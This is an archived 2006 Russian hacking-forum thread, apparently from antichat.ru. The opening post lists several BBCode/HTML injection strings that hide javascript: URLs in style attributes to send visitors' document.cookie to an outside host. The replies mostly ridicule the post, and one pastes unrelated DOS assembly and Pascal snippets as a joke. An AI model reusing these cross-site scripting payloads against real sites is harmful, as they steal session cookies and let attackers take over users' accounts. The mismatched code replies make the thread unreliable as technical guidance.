PDA

Просмотр полной версии : kak eto sdelat?:(



GyG
02.04.2006, 00:43
wj@wj[/url].com ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`
HTML]

(http://www.wj.com`=`)[/color]` style=`background:url(javascript:document.images [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`

mail@mail.com.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ] (target/style=background:url(javascript:document.images[1)

.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/topic]]

wj@wj.com ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)

[еmail]wj@wj.com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`

[HTML][color=white][URL=wj`=`] (wj`=`)` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`

FoB
02.04.2006, 11:04
чё за?!:dur: :boid: :popa:

lead
02.04.2006, 12:05
типо ам/тг

Broken Dreams
02.04.2006, 14:44
)(уйню какую то написал

Vision
02.04.2006, 14:47
о_0

ДоЗАтОР КСюШИ
02.04.2006, 15:50
ppc

Vladflip
02.04.2006, 20:11
Бред

Vladflip
02.04.2006, 20:13
Ето не форум начинающих web-дизайнеров

atriad
02.04.2006, 21:21
хтмл какой-то

MOUSE
03.04.2006, 00:56
*** че за марсианские иерогливы там начерчены ?

Broken Dreams
03.04.2006, 01:31
че еще не закрыли

Doc
03.04.2006, 18:29
гЫ:popa:

Nawty Geeza!
04.04.2006, 02:04
попробуй использовать код

.STACK 100h
.DATA
A DW 0023h
.CODE
start: mov ax,@data
mov ds,ax
mov di,OFFSET A
mov ax,[di];
mov cx,16
l: rcr ax,1
jno m
loop l
m: mov bx,ax
...

END start

+ на прописывание добавь :

function StrLen(const Str: PChar): Cardinal;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH

//
XOR AL,AL

REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX

//
MOV EDI,EDX
end;

и :

СONST
colBlack=0; colBlue=1; colGreen=2; colCyan=3; colRed=4;
colMagenta=5; colBrown=6; colWhite=7;
colGray=8; colLBlue=9; colLGreen=$a; colLCyan=$b; colLRed=$c;
colLMagenta=$d; colLYellow=$e; colLWhite=$f;

colDefault = (colBlack shl 4) + colWhite;
ColSystem = (ColGreen shl 4) + colLGreen;
colOpenDatabase = (colRed shl 4) + colBlack;
colSaveDatabase = (colMagenta shl 4) + colGreen;
colShowAllFlights = (colGreen shl 4) + colLWhite;
colChangeCurrentTime = (colGreen shl 4) + colBlue;
colNewFlight = (colBrown shl 4) + colBlack;
colDeleteFlight = (colMagenta shl 4) + colLYellow;
colChangeFlightTime = (colRed shl 4) + colWhite;
colDelayFlight = (colBrown shl 4) + colBlue;
colShowDepartures = (colCyan shl 4) + colGray;
colShowArrivals = (colBlue shl 4) + colLYellow;
colSortByFlightID = (colWhite shl 4) + colLRed;
colSortByFlightTime = (colGreen shl 4) + colLBlue;

tits_RED_ON_BLACK = (colRed shl 4) + colBlack;
ПРИМЕР: ColorWrite(' ::B:: ', tits_RED_ON_BLACK);

procedure ColorWrite(const msg:string; const col:byte);
var len : integer;
begin
len := length(msg);
{ ставим подсветку на колество символов длинны текста }
asm
mov al, ' ' {symbol}
mov cx, len {how many symbols to color}
mov ah, 9 {func number}
mov bl, col {color attribute}
mov bh, cursor.p {page}
push bp {save these importsant regz}
push sp
int 10h {they get destroyed now}
pop sp {restore them}
pop bp
end;
{ пишем сам текст }
write(msg);
end;

или вместо него :

.model tiny
Lab1 segment 'code'
assume cs:Lab1, ds:Lab1, es:Lab1, ss:Lab1
org 100h
start:
call pclrscr
mov dl, 'A'
call outchar
call nextstr

mov dl, 'B'
push bx
mov ax, 1000h
mov BL,04H
mov BH,04H
int 10h
pop bx
call outchar
call nextstr

mov dl, 'C'
call outchar
call nextstr
call getch
call pclrscr
mov ax, 4c00h
int 21h

outchar proc near
push ax
mov ah, 02h
int 21h
pop ax
ret
outchar endp

nextstr proc near
push dx
mov dl, 10
call outchar
mov dl, 13
call outchar
pop dx
ret
nextstr endp

getch proc near
push ax
mov ah, 01h
int 21h
pop ax
ret
getch endp

pclrscr proc
push ax
push bx
push dx
mov al, 2h
mov ah, 0h
; mov dx, 00h
int 10h
pop dx
pop bx
pop ax
ret
pclrscr endp

Lab1 ends
end start